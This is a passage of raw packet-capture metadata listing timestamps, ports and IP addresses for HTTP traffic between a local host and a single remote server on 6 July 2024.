Jul 6, 2024 14:09:59.402596951 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:59.402606964 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:59.402638912 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:09:59.402654886 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:59.402664900 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:59.402688026 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:09:59.402712107 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:09:59.402781010 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:59.402790070 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:59.402821064 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:09:59.403014898 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:59.403053045 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:59.403060913 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:09:59.403063059 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:59.403081894 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:09:59.403105974 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:09:59.403162003 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:59.403203011 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:09:59.403218031 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:59.403260946 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:09:59.403366089 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:59.403409004 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:09:59.403412104 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:59.403443098 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:09:59.593303919 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:59.593326092 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:59.593343973 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:59.593362093 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:59.593379974 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:59.593395948 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:59.593401909 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:09:59.593414068 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:59.593421936 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:59.593497038 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:59.593507051 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:59.593548059 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:09:59.593548059 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:09:59.593549013 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:09:59.593578100 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:09:59.593667030 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:59.593676090 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:59.593704939 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:09:59.593717098 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:09:59.593744993 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:59.593781948 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:59.593781948 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:09:59.593812943 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:09:59.593847036 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:59.593872070 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:59.593880892 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:09:59.593904972 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:09:59.593951941 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:59.593990088 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:09:59.594069004 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:59.594106913 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:09:59.594149113 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:59.594167948 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:59.594187021 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:09:59.594206095 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:09:59.594218016 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:59.594255924 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:09:59.594291925 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:59.594335079 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:09:59.594372988 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:59.594383001 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:59.594412088 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:09:59.594501019 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:59.594515085 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:59.594540119 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:09:59.594558001 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:09:59.594613075 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:59.594621897 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:59.594647884 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:09:59.594712019 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:59.594722986 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:59.594754934 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:09:59.594857931 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:59.594866991 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:59.594892979 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:09:59.595045090 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:59.595077991 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:09:59.595105886 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:59.595115900 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:59.595124960 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:59.595149040 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:09:59.595165014 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:09:59.595189095 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:59.595223904 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:09:59.595242977 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:59.595280886 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:09:59.595377922 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:59.595413923 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:09:59.595449924 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:59.595484972 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:09:59.595489025 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:59.595498085 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:59.595524073 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:09:59.595535040 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:09:59.595609903 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:59.595649004 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:09:59.595680952 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:59.595721006 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:09:59.595844984 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:59.595875025 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:59.595880985 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:09:59.595906019 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:09:59.595935106 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:59.595943928 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:59.595963955 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:09:59.595980883 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:09:59.596246004 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:59.596255064 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:59.596276999 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:59.596287012 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:09:59.596287966 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:59.596297979 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:59.596313000 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:09:59.596329927 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:09:59.596431971 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:59.596441031 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:59.596457005 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:59.596468925 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:09:59.596477985 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:59.596491098 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:09:59.596517086 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:09:59.596824884 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:59.596837044 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:59.596847057 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:59.596870899 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:09:59.596895933 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:09:59.596965075 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:59.596973896 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:59.597004890 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:09:59.597143888 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:59.597153902 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:59.597163916 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:59.597178936 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:09:59.597208023 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:09:59.597224951 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:59.597234011 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:59.597265005 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:09:59.597342014 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:59.597351074 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:59.597377062 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:09:59.597403049 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:09:59.597996950 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:59.598006964 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:59.598016977 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:59.598037004 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:09:59.598047972 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:09:59.598079920 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:59.598093987 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:59.598104000 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:59.598114014 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:09:59.598140955 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:09:59.598197937 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:59.598207951 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:59.598237038 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:09:59.598319054 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:59.598365068 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:09:59.598368883 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:59.598378897 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:59.598402023 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:09:59.598416090 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:09:59.598448038 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:59.598458052 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:09:59.598483086 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:09:59.598494053 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:09:59.832756042 CEST	49675	443	192.168.2.4	173.222.162.32
Jul 6, 2024 14:10:00.017721891 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.017748117 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.017757893 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.017769098 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.017780066 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.017788887 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.017811060 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.017855883 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.017865896 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.017875910 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.017888069 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.017896891 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.017906904 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.017970085 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.017970085 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.017970085 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.017970085 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.017982006 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.018029928 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.018091917 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.018100977 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.018116951 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.018125057 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.018127918 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.018137932 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.018142939 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.018148899 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.018162966 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.018166065 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.018177986 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.018187046 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.018192053 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.018197060 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.018205881 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.018210888 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.018214941 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.018229961 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.018249989 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.018493891 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.018503904 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.018512964 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.018526077 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.018543005 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.018548965 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.018557072 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.018567085 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.018568039 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.018577099 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.018584967 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.018593073 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.018595934 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.018605947 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.018615007 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.018624067 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.018630981 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.018639088 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.018647909 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.018647909 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.018659115 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.018666983 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.018666983 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.018677950 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.018688917 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.018693924 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.018697977 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.018708944 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.018718958 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.018719912 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.018728971 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.018738031 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.018762112 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.019181013 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.019191027 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.019201040 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.019208908 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.019218922 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.019227028 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.019229889 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.019238949 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.019246101 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.019248962 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.019258976 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.019268036 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.019273996 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.019278049 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.019288063 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.019301891 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.019318104 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.019337893 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.019349098 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.019359112 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.019368887 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.019376993 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.019387007 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.019396067 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.019414902 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.019426107 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.019431114 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.019440889 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.019449949 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.019454002 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.019460917 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.019469976 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.019473076 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.019483089 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.019494057 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.019501925 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.019504070 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.019511938 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.019516945 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.019522905 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.019546032 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.019567013 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.032135963 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.032147884 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.032159090 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.032183886 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.032224894 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.032278061 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.032289028 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.032298088 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.032392025 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.032402039 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.032423973 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.032423973 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.032423973 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.032439947 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.032584906 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.032613993 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.032624006 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.032648087 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.032670975 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.032707930 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.032716036 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.032726049 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.032749891 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.032763958 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.032933950 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.032973051 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.033011913 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.033051014 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.033093929 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.033123970 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.033129930 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.033153057 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.033158064 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.033186913 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.033198118 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.033309937 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.033346891 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.033349037 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.033360004 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.033387899 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.033664942 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.033693075 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.033703089 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.033714056 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.033730984 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.033750057 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.033842087 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.033869028 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.033878088 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.033879995 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.033905029 CEST	49732	80	192.168.2.4	211.108.60.155
